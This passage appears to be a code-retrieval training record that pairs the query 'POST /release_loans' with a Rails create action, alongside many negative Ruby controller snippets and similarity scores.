"def show\n @release = Release.find(params[:id])\n\n # respond_to do |format|\n # format.html show.html.erb\n # format.json { render json: @release }\n # end\n end",
"def new_releases\n api_call(\"https://api.spotify.com/\",\"/v1/browse/new-releases\")\n end",
"def show\n @lease = Lease.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @lease }\n end\n end",
"def show\n @persons_release = PersonsRelease.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @persons_release }\n end\n end",
"def index\n @releases = Release.all\n end",
"def index\n @releases = Release.all\n end",
"def new\n @lost = Lost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost }\n end\n end",
"def create\n @release_loan = ReleaseLoan.new(params[:release_loan])\n\n respond_to do |format|\n if @release_loan.save\n format.html { redirect_to @release_loan, notice: 'Release loan was successfully created.' }\n format.json { render json: @release_loan, status: :created, location: @release_loan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @release_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @admin_loans = Loan.pending\n end",
"def new\n @persons_release = PersonsRelease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @persons_release }\n end\n end",
"def index\n @lounges = Lounge.new \n @all_lounges = Lounge.all\n end",
"def show\n @lodge = Lodge.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lodge }\n end\n end",
"def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lease }\n end\n end",
"def show\n @client_release = ClientRelease.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @client_release }\n end\n end",
"def show\n @label = Label.find_by_id(params[:id])\n if @label.nil?\n @label = Label.find_by_name(params[:id])\n end\n\n @repos = Repo.tagged_with(@label.name, on: :labels).order(\"watchers DESC\")\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @label }\n end\n end",
"def index\n @loves = Love.all\n render json: @loves\n end",
"def show\n @player_round_loan = PlayerRoundLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @player_round_loan }\n end\n end",
"def loan\n Reggora::Resources::Loan.new(config)\n end",
"def show\n @supplies_loan = SuppliesLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @supplies_loan }\n end\n end",
"def index\n @lugars = Lugar.all\n\n render json: @lugars\n end",
"def get_brandings\n request :get, \"/v3/brandings.json\"\n end",
"def index\n @loan = Loan.all\n end",
"def index\n @space = Space.find(params[:space_id])\n @leases = Lease.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @leases }\n end\n end",
"def index\n response = VersionResponse.new( BUILD_VERSION )\n render json: response, :status => 200\n end",
"def index\n @current_user = User.find(session[:user_id])\n \n @loans = Loan.all\n end",
"def new\n @commit = params[:commit]\n @release = @environment.releases.new(\n commit0: @environment.last_commit,\n commit1: @commit)\n if @release.can_read_commits?\n @release.load_commits!\n @release.load_tickets!\n @release.build_changes_from_commits\n end\n if @release.changes.none?\n render :template => \"releases/new_pick_commit\"\n else\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release }\n end\n end\n end",
"def show\n @bottling = Bottling.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bottling }\n end\n end",
"def index\n\t\t@pledges = @project.pledges\n\t\trespond_to do |format| \n\t\t\tformat.html\n\t\tend\n\tend",
"def index\n @livingsupplies = Livingsupply.all\n end",
"def index\n @loans = Loan.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @loans }\n end\n end",
"def list_active_aos_versions(args = {}) \n get(\"/aosversions.json/\", args)\nend",
"def index\n @lodgings = Lodging.all\n end",
"def index\n @lodgings = Lodging.all\n end",
"def show\n @os_release = OsRelease.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @os_release }\n end\n end",
"def index\n @lophs = Loph.all\n respond_to do |format|\n format.html\n format.json { render json: @lophs}\n end\n end",
"def new\n @stalking = Stalking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stalking }\n end\n end",
"def show\n @rink_league = RinkLeague.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rink_league }\n end\n end",
"def new\n @client_release = ClientRelease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_release }\n end\n end",
"def show\n render json: @league, status: :ok\n end",
"def specific\n @state = State.find(params[:id])\n @loans = @state.loans.where(:purpose_id == params[:purpose_id])\n render json: { state: @state, loans: @loans }\n end",
"def index\n @money = Money.all\n require 'net/http'\n require 'json'\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_money = JSON.parse(@response)\n end",
"def show\n @supplies_providers_loan = SuppliesProvidersLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @supplies_providers_loan }\n end\n end",
"def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end",
"def index\n @stalkings = Stalking.where(\"user_id = ?\", current_user.id)\n @stalkings.each do |stalking|\n if @current_user.gh.repository? \"#{stalking.owner}/#{stalking.repo}\"\n stalking.gh = @current_user.gh.repo \"#{stalking.owner}/#{stalking.repo}\"\n else\n stalking.gh = \"#{stalking.owner}/#{stalking.repo}\"\n end\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stalkings }\n end\n end",
"def show\n @webling = Webling.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @webling }\n end\n end",
"def new\n @bruger_id = current_user.id\n @bruger = Bruger.find_by_id(@bruger_id)\n @onske = Onske.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @onske }\n end\n end",
"def index\n @bills = @dwelling.bills\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end",
"def index\n @majors = majors\n respond_to do |format|\n format.json{\n return render json: ret\n }\n end\n end",
"def destroy\n @release_loan = ReleaseLoan.find(params[:id])\n @release_loan.destroy\n\n respond_to do |format|\n format.html { redirect_to release_loans_url }\n format.json { head :no_content }\n end\n end",
"def show\n @borrower = Borrower.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @borrower }\n end\n end",
"def show\n render \"api/v1/bounties/show\"\n end",
"def index\n @api_v1_mentorings = Api::V1::Mentoring.all\n end",
"def show\n @grumble = Grumble.find(params[:id])\n render status: 200, json: @grumble.to_json\n end",
"def new\n \n @title = \"availabilities/new\"\n @availability = Availability.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @availability }\n end\n end",
"def show\n @jm_verse = JmVerse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jm_verse }\n end\n end",
"def index\n respond_with releases\n end",
"def current\n batles = BatlePool.instance.all\n render json: batles,\n except: :location_id,\n include: [:heroes, :threat],\n status: :ok\n end",
"def show\n @release_language = ReleaseLanguage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @release_language }\n end\n end",
"def show\n @lbc = Lbc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lbc }\n end\n end",
"def show\n @revision = Revision.find(params[:id])\n\n render json: @revision\n end",
"def show\n @bulletin = Bulletin.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bulletin }\n end\n end",
"def show\n @chance = @user.chance\n @loans = @user.loans.order(purchase_date: :desc)\n end",
"def get_league_standings_by_league(league_id)\n response = parse_api_request(\"#{BASE_URL}standings/#{league_id}\")[\"standings\"]\nend",
"def new\n @borrow = Borrow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrow }\n end\n end",
"def index\n @bulletins = Bulletin.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bulletins }\n end\n end",
"def show\n @bollywood_review = BollywoodReview.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bollywood_review }\n end\n end",
"def show\n @holding = Holding.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @holding }\n end\n end",
"def index\n @balloons = Balloon.order('created_at DESC');\n render json: {status: 'SUCCESS', message:'Loaded balloons', data:@balloons},status: :ok\n end",
"def index\n plan = Plan.find_by(url:params[:plan_id])\n stories = plan.stories\n render json: stories\n end",
"def show\n if params[:id] == 'latest'\n @pitch = Pitch.last\n else\n @pitch = Pitch.find(params[:id])\n end\n if params[:view] == 'invest'\n api_success @pitch.as_json(details: true)\n else\n api_success @pitch.as_json\n end\n end",
"def show\n @pinglun = Pinglun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pinglun }\n end\n end",
"def show\n @bill = Bill.find(params[:id])\n\n render json: @bill\n end",
"def show\n @leader_history = LeaderHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @leader_history }\n end\n end",
"def show\n @harvest_trello = HarvestTrello.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @harvest_trello }\n end\n end",
"def index\n @pledges = if current_admin?\n User.find(params[:user_id]).pledges\n else\n current_user.pledges\n end\n respond_to do |format|\n format.html\n format.json { render json: @pledges }\n end\n end",
"def index\n @laws = Law.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @laws }\n end\n end",
"def new\n @supplies_loan = SuppliesLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplies_loan }\n end\n end"
] |
[
"0.65779734",
"0.64447767",
"0.61666363",
"0.61097944",
"0.60500455",
"0.60178524",
"0.601515",
"0.6006315",
"0.6006315",
"0.60000205",
"0.5974195",
"0.5943659",
"0.5926613",
"0.5922706",
"0.5915611",
"0.58959275",
"0.58763134",
"0.5850821",
"0.5830902",
"0.5820456",
"0.58078814",
"0.57904196",
"0.57703495",
"0.5736866",
"0.57058096",
"0.57021934",
"0.5694307",
"0.56773585",
"0.56773585",
"0.5672357",
"0.56656724",
"0.56632537",
"0.5659452",
"0.56546855",
"0.56468284",
"0.5645712",
"0.56393504",
"0.5626549",
"0.5626067",
"0.5615278",
"0.56138605",
"0.5604296",
"0.55990887",
"0.55935615",
"0.5572648",
"0.55649436",
"0.5540089",
"0.5536674",
"0.55322",
"0.55318224",
"0.5529301",
"0.55287504",
"0.55074656",
"0.55045617",
"0.5501269",
"0.5501269",
"0.55011547",
"0.5497439",
"0.5486821",
"0.5481875",
"0.54810447",
"0.54791033",
"0.54691815",
"0.5468459",
"0.5461273",
"0.5461122",
"0.54558676",
"0.54551446",
"0.5449536",
"0.5446154",
"0.5444715",
"0.5432261",
"0.54322356",
"0.54316604",
"0.54302067",
"0.54279476",
"0.5418554",
"0.5417062",
"0.54100126",
"0.5408076",
"0.540709",
"0.5404956",
"0.54038566",
"0.5399912",
"0.5398744",
"0.539377",
"0.53912884",
"0.5391272",
"0.53900725",
"0.53856105",
"0.5385552",
"0.5382585",
"0.5379463",
"0.5372377",
"0.5368267",
"0.53673357",
"0.5362892",
"0.5359464",
"0.5355306",
"0.53519815"
] |
0.6997902
|
0
|
GET /release_loans/new GET /release_loans/new.json
|
def new
@release_loan = ReleaseLoan.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @release_loan }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @lost = Lost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost }\n end\n end",
"def new\n @release = Release.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release }\n end\n end",
"def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lease }\n end\n end",
"def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan }\n end\n end",
"def create\n @release_loan = ReleaseLoan.new(params[:release_loan])\n\n respond_to do |format|\n if @release_loan.save\n format.html { redirect_to @release_loan, notice: 'Release loan was successfully created.' }\n format.json { render json: @release_loan, status: :created, location: @release_loan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @release_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @holding = Holding.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holding }\n end\n end",
"def new\n @holding = Holding.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holding }\n end\n end",
"def new\n @player_loan = PlayerLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @player_loan }\n end\n end",
"def new\n @borrow = Borrow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrow }\n end\n end",
"def new\n @commit = params[:commit]\n @release = @environment.releases.new(\n commit0: @environment.last_commit,\n commit1: @commit)\n if @release.can_read_commits?\n @release.load_commits!\n @release.load_tickets!\n @release.build_changes_from_commits\n end\n if @release.changes.none?\n render :template => \"releases/new_pick_commit\"\n else\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release }\n end\n end\n end",
"def new\n @persons_release = PersonsRelease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @persons_release }\n end\n end",
"def new\n @stalking = Stalking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stalking }\n end\n end",
"def new\n @title = t('view.banks.new_title')\n @bank = Bank.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank }\n end\n end",
"def new\n @borrower = Borrower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrower }\n end\n end",
"def new\n @borrower = Borrower.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrower }\n end\n end",
"def new\n @borrow_request = BorrowRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrow_request }\n end\n end",
"def new\n @village = Village.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @village }\n end\n end",
"def new\n @version = Version.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @version }\n end\n end",
"def new\n @supplies_loan = SuppliesLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplies_loan }\n end\n end",
"def new\n @breadcrumb = 'create'\n @bank = Bank.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank }\n end\n end",
"def new\n @trail = Trail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trail }\n end\n end",
"def new\n @trail = Trail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trail }\n end\n end",
"def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end",
"def new\n @pinglun = Pinglun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pinglun }\n end\n end",
"def new\n @missionmaker = Missionmaker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @missionmaker }\n end\n end",
"def new\n \n @title = \"availabilities/new\"\n @availability = Availability.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @availability }\n end\n end",
"def new\n @journal = @journals.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @journal }\n end\n end",
"def new\n @harvest_trello = HarvestTrello.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @harvest_trello }\n end\n end",
"def new\n @client_release = ClientRelease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @client_release }\n end\n end",
"def new\n @commitment = Commitment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @commitment }\n end\n end",
"def new\n @loan = Loan.new(\n :ower_id => params[:ower_id ],\n :creditor_id => params[:creditor_id],\n :tags => params[:tags ],\n :description => params[:description]\n )\n end",
"def new\n @os_release = OsRelease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @os_release }\n end\n end",
"def new\n @version = Version.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @version }\n end\n end",
"def new\n @gitto = Gitto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gitto }\n end\n end",
"def new\n @leader = Leader.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @leader }\n end\n end",
"def new\n @mission = Mission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mission }\n end\n end",
"def new\n @party = Party.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @party }\n end\n end",
"def new\n @leader_history = LeaderHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @leader_history }\n end\n end",
"def new\n @pokeparty = Pokeparty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pokeparty }\n end\n end",
"def new\n @title = t('view.providers.new_title')\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @provider }\n end\n end",
"def new\n @buying_history = BuyingHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @buying_history }\n end\n end",
"def new\n @nail_salon = NailSalon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nail_salon }\n end\n end",
"def new\n @checkout = Checkout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @checkout }\n end\n end",
"def new\n @checkout = Checkout.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @checkout }\n end\n end",
"def new\n @breadcrumb = 'create'\n @insurance = Insurance.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @insurance }\n end\n end",
"def new\n\t\t@household = Household.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @household }\n\t\tend\n\tend",
"def new\n @page = 'newdoll'\n @doll = current_user.dolls.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @doll }\n end\n end",
"def new\n @level = Level.new\n @level.set_defaults\n bingo!(\"create_level_button\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @level }\n end\n end",
"def new\n @webling = Webling.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @webling }\n end\n end",
"def new\n @lid = Lid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lid }\n end\n end",
"def new\n @bill = Bill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bill }\n end\n end",
"def new\n @bill = Bill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bill }\n end\n end",
"def new\n @lot = Lot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lot }\n end\n end",
"def new\n @livestock = Livestock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @livestock }\n end\n end",
"def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end",
"def new\n @neighborhood = Neighborhood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neighborhood }\n end\n end",
"def new\n @bottling = Bottling.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bottling }\n end\n end",
"def new\n @level = Level.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @level }\n end\n end",
"def new\n @supplies_providers_loan = SuppliesProvidersLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @supplies_providers_loan }\n end\n end",
"def new\n @level = Level.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @level }\n end\n end",
"def new\n @level = Level.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @level }\n end\n end",
"def new\n @pun = Pun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pun }\n end\n end",
"def new\n @labelling = Labelling.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @labelling }\n end\n end",
"def new\n @baton = Baton.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @baton }\n end\n end",
"def new\n @ninja = Ninja.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ninja }\n end\n end",
"def new\n get_projects\n\n\n @breadcrumb = 'create'\n @billable_item = BillableItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @billable_item }\n end\n end",
"def new\n @level_goal = LevelGoal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @level_goal }\n end\n end",
"def new\n @historical = Historical.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @historical }\n end\n end",
"def new\n @bruger_id = current_user.id\n @bruger = Bruger.find_by_id(@bruger_id)\n @onske = Onske.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @onske }\n end\n end",
"def new\n @holder = Holder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holder }\n end\n end",
"def new\n @lodge = Lodge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lodge }\n end\n end",
"def new\n @bounty = Bounty.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bounty }\n end\n end",
"def new\n @ongoing = Ongoing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ongoing }\n end\n end",
"def new\n add_breadcrumb :new\n @visit = Visit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @visit }\n end\n end",
"def new\n @release_status = ReleaseStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @release_status }\n end\n end",
"def new\n @press = Press.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @press }\n end\n end",
"def new\r\n @bill = Bill.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @bill }\r\n end\r\n end",
"def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end",
"def new\n @repository = Repository.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @repository }\n end\n end",
"def new\n @repository = Repository.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @repository }\n end\n end",
"def new\n @breadcrumb = 'create'\n @projects = projects_dropdown\n @billing_periods = billing_periods_dropdown #.select{|b| b.pre_readings.empty?}\n @uses = uses_dropdown\n @reading_routes = reading_routes_dropdown #.select{|r| r.pre_readings.empty?}\n if session[:office] != '0'\n @office_center = Office.find(session[:office])\n @centers = Center.where(town_id: @office_center.town_id.to_i).order('name')\n else\n @centers = Center.all(order: 'name')\n end\n # @bill = Bill.new\n\n # respond_to do |format|\n # format.html # new.html.erb\n # format.json { render json: @bill }\n # end\n\n end",
"def new_link\n @project = Project.new(user_id: current_user.id)\n fetch_projects\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @nlp = Nlp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nlp }\n end\n end",
"def new\n @release_language = ReleaseLanguage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release_language }\n end\n end",
"def new\n @bulletin = Bulletin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bulletin }\n end\n end",
"def new\n @ranking = Ranking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ranking }\n end\n end",
"def new\n @inning = Inning.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inning }\n end\n end",
"def new\n authorize! :create, @binder\n \n @maintenance_item = MaintenanceItem.new(\n binder_id: @binder.id, \n created_by: current_user.id, \n interval: 1, \n maintenance_cycle_id: MaintenanceCycle.where(:name => 'Years').first.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @maintenance_item }\n format.js\n end\n end",
"def new\n @allocation = Allocation.new params[:allocation]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @allocation }\n end\n end",
"def new\n @bloom = Bloom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bloom }\n end\n end",
"def new\n @leaderboard = Leaderboard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @leaderboard }\n end\n end",
"def new\n @entity = get_new()\n @verbindung = Verbindung.find(params[:verbindung_id])\n if !has_access_to_verbindung(@verbindung) then return end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entity }\n end\n end",
"def new\n @journal = Journal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json :@journal }\n end\n end",
"def new\n @verse = Verse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verse }\n end\n end",
"def new\n @verse = Verse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verse }\n end\n end",
"def new\n @verse = Verse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @verse }\n end\n end",
"def new\n @new_policy = NewPolicy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_policy }\n end\n end",
"def new\n @lugar = Lugar.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lugar }\n end\n end",
"def new\n @click = Click.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @click }\n end\n end",
"def new\n @straddle = Straddle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @straddle }\n end\n end"
] |
[
"0.7120017",
"0.7102812",
"0.7056036",
"0.7038341",
"0.7010651",
"0.6829084",
"0.6829084",
"0.6810086",
"0.6808071",
"0.67365116",
"0.6729013",
"0.66943383",
"0.66585845",
"0.66392756",
"0.66392756",
"0.66368014",
"0.66124094",
"0.6606484",
"0.6605926",
"0.6601252",
"0.6590518",
"0.6590518",
"0.65595496",
"0.65441555",
"0.65342236",
"0.65271246",
"0.6522744",
"0.65160173",
"0.6513862",
"0.65058696",
"0.6502201",
"0.6498259",
"0.6494918",
"0.64935464",
"0.64920765",
"0.6475082",
"0.6469822",
"0.64617085",
"0.6449958",
"0.6448848",
"0.6442848",
"0.6436928",
"0.6428709",
"0.6428709",
"0.6425137",
"0.6423848",
"0.64236003",
"0.64226246",
"0.6411714",
"0.64096737",
"0.64056593",
"0.64056593",
"0.6401975",
"0.63983834",
"0.639692",
"0.639692",
"0.6395692",
"0.63938296",
"0.63932174",
"0.63925517",
"0.63920087",
"0.6386099",
"0.6385699",
"0.6381976",
"0.6380162",
"0.6380088",
"0.6376855",
"0.63752216",
"0.63718516",
"0.63707334",
"0.6369088",
"0.63657147",
"0.63653916",
"0.6363863",
"0.6359733",
"0.63592154",
"0.63581747",
"0.63569725",
"0.6354816",
"0.6354816",
"0.63546926",
"0.63477856",
"0.6346611",
"0.634357",
"0.6341078",
"0.63397664",
"0.6339157",
"0.6337737",
"0.6330925",
"0.63287807",
"0.6327041",
"0.6324952",
"0.6323739",
"0.6323546",
"0.6323546",
"0.6323546",
"0.6321684",
"0.63177913",
"0.6316393",
"0.63161695"
] |
0.7535736
|
0
|
POST /release_loans POST /release_loans.json
|
def create
@release_loan = ReleaseLoan.new(params[:release_loan])
respond_to do |format|
if @release_loan.save
format.html { redirect_to @release_loan, notice: 'Release loan was successfully created.' }
format.json { render json: @release_loan, status: :created, location: @release_loan }
else
format.html { render action: "new" }
format.json { render json: @release_loan.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @release_loan = ReleaseLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @release_loan }\n end\n end",
"def loans\n url = \"#{LOANS_PATH}/pre-approved\"\n data = perform_get(url)\n data || {}\n end",
"def create\n @player_loan = PlayerLoan.new(params[:player_loan])\n\n respond_to do |format|\n if @player_loan.save\n format.html { redirect_to @player_loan, notice: 'Player loan was successfully created.' }\n format.json { render json: @player_loan, status: :created, location: @player_loan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @player_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n megam_rest.post_billedhistories(to_hash)\n end",
"def create\n @lounge = Lounge.new(lounge_params)\n\n respond_to do |format|\n if @lounge.save\n format.html { redirect_to @lounge, notice: 'Lounge was successfully created.' }\n format.json { render :show, status: :created, location: @lounge }\n else\n format.html { render :new }\n format.json { render json: @lounge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lounges = Lounge.new(params[:lounge])\n if @lounges.save\n CustomLogger.debug(\"Lounge created\")\n CustomLogger.debug(\"--------------\") \n to_log(@lounges) \n @lounges = Lounge.new\n end\n @all_lounges = Lounge.all \n end",
"def create_loan_params\n params.require(:loan).permit(:accepted, :returned, :borrower_id, :owner_id, :tool_quantity, :start, :end)\n end",
"def new\n\n @player=Player.find(params[:player_id])\n @round=Round.find(params[:round_id])\n @round_loans=@round.round_loans\n @brand=Brand.find(params[:brand_id])\n\n\n @player_round_loans =Array.new(@round_loans.count) { PlayerRoundLoan.new }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @player_round_loan }\n end\n end",
"def create\n logger.debug \"!! create\"\n loan_params\n @loan = Loan.new(loan_params)\n # logger.debug loan_params\n\n respond_to do |format|\n if @loan.save\n format.html { redirect_to @loan, notice: 'Loan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @loan }\n else\n format.html { render action: 'new' }\n format.json { render json: @loan.errors, status: :unprocessable_entity }\n end\n end\n end",
